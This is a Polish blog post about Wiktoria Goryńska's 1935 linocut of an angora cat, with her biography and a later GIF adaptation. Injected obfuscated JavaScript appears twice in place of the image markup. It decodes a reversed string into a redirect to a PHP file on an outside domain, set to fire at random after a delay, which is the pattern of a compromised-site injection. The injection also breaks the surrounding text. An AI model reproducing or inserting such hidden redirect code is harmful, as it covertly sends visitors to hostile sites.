Wicia na kocie jedzie.

Puchaty, trójkolorowy kot, ostrożnie kroczący z nisko opuszczoną głową i wyprostowanym ogonem, to jedno z wielu przedstawień animalistycznych autorstwa Wiktorii Goryńskiej.

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toria Julia Jadwiga Goryńska (1902 Wiedeń – 1945 Ravensbrück), Puchata angora, linoryt barwny 1935″ width=”926″ height=”1024″ class=”size-large wp-image-4593″ /> Wiktoria Julia Jadwiga Goryńska (1902 Wiedeń – 1945 Ravensbrück), Puchata angora, linoryt barwny 1935

Artystka potrafiła w bardzo celny i subtelny sposób oddać charakter zwierząt, stosując klarowną kompozycję, pozostawiając często neutralne tło i skupiając się na wyrazistych detalach (np. czujne i nieufne oczy kota). Jej drzeworyty (niekiedy, jak tu, linoryty) przedstawiające zwierzęta, mogą się kojarzyć z grafiką japońską lub chińskimi rysunkami tuszem, w których tak ważna jest zasada, że „mało znaczy wiele”.

Spod ręki Goryńskiej wyszły też prace o tematyce symbolicznej i mistycznej (religijnej), widoki architektury, portrety (liczne autoportrety) i śmiałe kompozycyjnie drzeworyty zainspirowane sportem (Goryńska uprawiała szermierkę, o której też pisywała do gazet).

Wiktoria Goryńska była obywatelką świata: urodzona w Wiedniu, dzieciństwo spędziła w Anglii, następnie znów mieszkała w Wiedniu, potem w Warszawie, Berlinie, bywała w Paryżu, Londynie (stąd w jej twórczości wyraźne wpływy grafiki światowej). Była bardzo aktywna artystycznie, należała do polskiego Stowarzyszenia Artystów Grafików Ryt i Związku Polskich Artystów Grafików. Wzięła udział w bardzo wielu wystawach polskich i zagranicznych.

W czasie wojny, w latach okupacji niemieckiej, była czynna w konspiracji. Po Powstaniu Warszawskim wywieziona do obozu w Ravensbrück, gdzie zmarła w kwietniu 1945 r. na tyfus plamisty.

Praca Wiktorii Goryńskiej znajduje się domenie publicznej. Dlatego możemy śmiało się nią kreatywnie inspirować …. pamiętacie słynny motyw z jednego z filmów o Kargulu i Pawlaku kiedy żona Pawlaka mówi „Patrz Wicia wierzchem jedzie” a Pawlak z niedowierzaniem „Nie może być! Na kocie?”

Tak, na kocie. wg Joanny Michniewskiej

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toria Julia Jadwiga Goryńska, Puchata Angora, 1935 r.; ze zbiorów PAN BG” width=”599″ height=”666″ class=”size-full wp-image-4560″ /> GIF „Kot”, Joanna Michniewska; oryg. Wiktoria Julia Jadwiga Goryńska, Puchata Angora, 1935 r.; ze zbiorów PAN BG

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *